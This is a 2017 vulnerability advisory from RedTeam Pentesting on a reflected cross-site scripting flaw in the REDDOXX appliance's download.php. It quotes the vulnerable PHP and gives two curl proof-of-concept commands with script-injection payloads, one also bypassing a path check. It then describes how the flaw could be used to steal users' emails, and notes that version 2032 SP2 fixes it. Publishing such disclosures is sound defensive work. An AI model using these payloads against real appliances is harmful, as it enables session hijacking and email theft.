Advisory: Cross-Site Scripting in REDDOXX Appliance

RedTeam Pentesting discovered a cross-site scripting (XSS) vulnerability
in the REDDOXX appliance software, which allows attackers to inject
arbitrary JavaScript code via a crafted URL.


Details
=======

Product: REDDOXX Appliance
Affected Versions: Build 2032 / v2.0.625, older versions likely affected too
Fixed Versions: Version 2032 SP2
Vulnerability Type: Cross-Site Scripting
Security Risk: high
Vendor URL: https://www.reddoxx.com/
Vendor Status: patch available
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-003
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH


Introduction
============

"REDDOXX is a leading supplier of solutions for e-mail archiving,
encrypted and digitally signed e-mail traffic as well as spam
protection. Our focus is on technological innovation: taking our cue
from our clientsa requirements our competent and quality-conscious
employees strive to offer you the best possible products at all times.
Using stringent quality standards and proven processes we keep
developing our company and products continuously, with the goal of
continuous improvement."

(from the vendor's homepage)


More Details
============

The REDDOXX appliance [0] contains a PHP script called download.php. It
is available at http://www.example.com/download.php in normal
installations and resides at /opt/reddoxx/local/htdocs/download.php on
the local filesystem of the appliance. Through the ISO provided on
the vendor's homepage [1], it was possible to analyze this file and any
other file in a typical REDDOXX appliance installation.

The file contains the following source code (shortened to the relevant
sections):

------------------------------------------------------------------------
<?php
 [...]

 // For MD 2.0
 $fileName = $_GET['file'];

 [...]

 // For MD 2.0
 if ($fileName <> '') {
   $file = $fileName;
   $fileID = basename($fileName);
 }

 // Currently we only allow downloads from session directories
 if ((strpos($file, '/opt/reddoxx/wi/Sessions/') === false) &&
     (strpos($file, '/opt/reddoxx/data/temp/Sessions/') === false)) {
     die('File is not in session directory: ' . $file);
 }

if(!file_exists($file))
 {
     // File doesn't exist, output error
     die('File not found: ' . $file);
 }
 else
 {
     [...]
 }
?>
------------------------------------------------------------------------

The script expects a URL parameter called "file" and stores its value in
the variable $fileName. The value of this variable is then copied to the
variable $file, which undergoes two different checks: First, the
function strpos() is used to check whether a certain substring is
contained in the value of the variable. The second check uses the function
file_exists() to determine whether the file specified in the variable is
present in the filesystem. If either of these checks fail, the value of
the variable $file, which is controlled by the attacker via the URL
parameter, is embedded unencoded into an error message which is returned
to the user with a content-type of "text/html".


Proof of Concept
================

The following curl command-lines can be used to trigger the
vulnerability at both locations of the PHP script:

------------------------------------------------------------------------
$ curl --include 'http://www.example.com/download.php?file='\
'<script>alert("RedTeam%20Pentesting")</script>'
HTTP/1.1 200 OK
[...]
Content-Length: 78
Content-Type: text/html

File is not in session directory: <script>alert("RedTeam Pentesting")</script>
------------------------------------------------------------------------

------------------------------------------------------------------------
$ curl --include 'http://www.example.com/download.php?file='\
'<script>alert("RedTeam%20Pentesting")</script><!--/opt/reddoxx/wi/Sessions/-->'
HTTP/1.1 200 OK
[...]
Content-Length: 92
Content-Type: text/html

File not found: <script>alert("RedTeam Pentesting")</script><!--/opt/reddoxx/wi/Sessions/-->
------------------------------------------------------------------------

In both cases, the response containing the error messages is returned
with the Content-Type header set to "text/html", causing the browser
to execute the injected JavaScript code.

The same functionality is vulnerable to an arbitrary file disclosure
attack as described in rt-sa-2017-004 [2] and indicated by the second
curl command.


Workaround
==========

None


Fix
===

Update the appliance software to Version 2032 SP2.


Security Risk
=============

The vulnerability allows attackers to extract user's emails from the
REDDOXX appliance. However, as a session ID stored in the DOM of the
website is used for authentication rather than cookies, the attacked
user must first log in. Once attackers have access to the user's session
ID, the victim's browser can be instrumented to retrieve emails stored
in the system and send them to a system under the attacker's control.
The vulnerability is therefore rated as a high risk.


Timeline
========

2017-05-16 Vulnerability identified
2017-05-23 Customer approved disclosure of vulnerability
2017-05-26 Customer provided details of vulnerability to vendor
2017-06-21 Vulnerability reported as fixed by vendor
2017-07-24 Advisory released


References
==========

[0] https://www.reddoxx.com/en/
[1] https://my.reddoxx.com/documents/manual/en/custdl/product-downloads
    (Requires login)
[2] https://www.redteam-pentesting.de/advisories/rt-sa-2017-004


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a
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company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
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More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/


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=============================

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